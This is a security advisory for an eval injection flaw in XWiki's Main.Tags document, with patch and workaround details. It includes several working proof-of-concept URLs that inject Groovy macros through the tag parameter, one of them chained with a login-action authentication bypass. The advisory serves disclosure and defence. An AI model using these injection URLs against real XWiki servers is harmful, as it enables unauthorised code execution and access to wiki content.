XWiki Platform Applications Tag and XWiki Platform Tag UI vulnerable to Eval Injection
### Impact
The tags document `Main.Tags` in XWiki didn't sanitize user inputs properly, allowing users with view rights on the document (default in a public wiki or for authenticated users on private wikis) to execute arbitrary Groovy, Python and Velocity code with programming rights. This allows bypassing all rights checks and thus both modification and disclosure of all content stored in the XWiki installation. Also, this could be used to impact the availability of the wiki. Some versions of XWiki XML-escaped the tag (e.g., version 3.1) but this isn't a serious limitation as string literals can be delimited by `/` in Groovy and `<` and `>` aren't necessary, e.g., to elevate privileges of the current user.
On XWiki versions before 13.10.4 and 14.2, this can be combined with the authentication bypass using the login action
https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-8h89-34w2-jpfm, meaning that no rights are required to perform the attack. The following URL demonstrates the attack: `<server>/xwiki/bin/login/Main/Tags?xpage=view&do=viewTag&tag=%7B%7Basync+async%3D%22true%22+cached%3D%22false%22+context%3D%22doc.reference%22%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22hello+from+groovy%21%22%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D`, where `<server>` is the URL of the XWiki installations.
On current versions (e.g, 14.3), the issue can be exploited by requesting the URL `<server>/xwiki/bin/view/Main/Tags?do=viewTag&tag=%7B%7Basync%20async%3D%22true%22%20cached%3D%22false%22%20context%3D%22doc.reference%22%7D%7D%7B%7Bgroovy%7D%7Dprintln(%22hello%20from%20groovy!%22)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D`, where `<server>` is the URL of the server. On XWiki 2.0 (that contains version 1.7 of the tag application), the URL `<server>/xwiki/bin/view/Main/Tags?do=viewTag&tag={{/html}}{{groovy}}println(%2Fhello from groovy!%2F){{%2Fgroovy}}` demonstrates the exploit while on XWiki 3.1 the following URL demonstrates the exploit: `<server>/xwiki/bin/view/Main/Tags?do=viewTag&tag={{/html}}{{footnote}}{{groovy}}println(%2Fhello%20from%20groovy!%2F){{%2Fgroovy}}{{/footnote}}`.
### Patches
This has been patched in the supported versions 13.10.6 and 14.4.
### Workarounds
The patch that fixes the issue
https://github.com/xwiki/xwiki-platform/commit/604868033ebd191cf2d1e94db336f0c4d9096427 can be manually applied to the document `Main.Tags` or the updated version of that document can be imported from version 14.4 of xwiki-platform-tag-ui
https://nexus.xwiki.org/nexus/content/groups/public/org/xwiki/platform/xwiki-platform-tag-ui/14.4/xwiki-platform-tag-ui-14.4.xar using the import feature in the administration UI
https://extensions.xwiki.org/xwiki/bin/view/Extension/Administration%20Application#HImport on XWiki 10.9 and later (earlier versions might not be compatible with the current version of the document).
### References
*
https://github.com/xwiki/xwiki-platform/commit/604868033ebd191cf2d1e94db336f0c4d9096427
*
https://jira.xwiki.org/browse/XWIKI-19747
### For more information
If you have any questions or comments about this advisory:
* Open an issue in Jira
XWiki.org https://jira.xwiki.org/
* Email us at [Security Mailing List](mailto:security@xwiki.org)